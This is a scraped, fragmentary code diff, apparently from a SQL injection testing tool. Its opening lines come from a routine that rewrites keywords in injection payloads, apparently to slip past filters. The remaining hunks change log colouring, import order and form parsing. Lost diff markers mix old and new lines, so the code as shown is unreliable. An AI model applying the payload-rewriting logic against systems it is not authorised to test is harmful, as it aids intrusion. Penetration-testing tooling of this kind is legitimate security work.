for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal):
word = match.group()
if word.upper() in kb.keywords or ("%s(" % word) in payload:
if (word.upper() in kb.keywords and re.search(r"(?i)[`\"\[]%s[`\"\]]" % word, retVal) is None) or ("%s(" % word) in payload:
while True:
_ = ""
+1 -1
View File
@@ -6,8 +6,8 @@ See the file 'LICENSE' for copying permission
"""
import os
import re
import random
import re
import string
from lib.core.common import singleTimeWarnMessage
+10 -4
View File
@@ -21,7 +21,7 @@ if IS_WIN:
ctypes.windll.kernel32.SetConsoleTextAttribute.restype = ctypes.wintypes.BOOL
def stdoutEncode(data): # Cross-referenced function
raise NotImplementedError
return data
class ColorizingStreamHandler(logging.StreamHandler):
# color names to indices
@@ -158,6 +158,7 @@ class ColorizingStreamHandler(logging.StreamHandler):
if params and message:
match = re.search(r"\A(\s+)", message)
prefix = match.group(1) if match else ""
message = message[len(prefix):]
match = re.search(r"\[([A-Z ]+)\]", message) # log level
if match:
@@ -187,14 +188,19 @@ class ColorizingStreamHandler(logging.StreamHandler):
string = match.group(1)
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else:
match = re.search(r" \('(.+)'\)\Z", message)
match = re.search(r"\bresumed: '(.+\.\.\.)", message)
if match:
string = match.group(1)
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else:
for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted
match = re.search(r" \('(.+)'\)\Z", message)
if match:
string = match.group(1)
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else:
for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted
string = match.group(1)
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else:
message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))
+1 -1
View File
@@ -711,7 +711,7 @@ class _AbstractFormParser:
data = data[1:]
map[key] = data
else:
map[key] = map[key] + data
map[key] = (map[key].decode("utf8") if isinstance(map[key], six.binary_type) else map[key]) + data
def do_button(self, attrs):
debug("%s", attrs)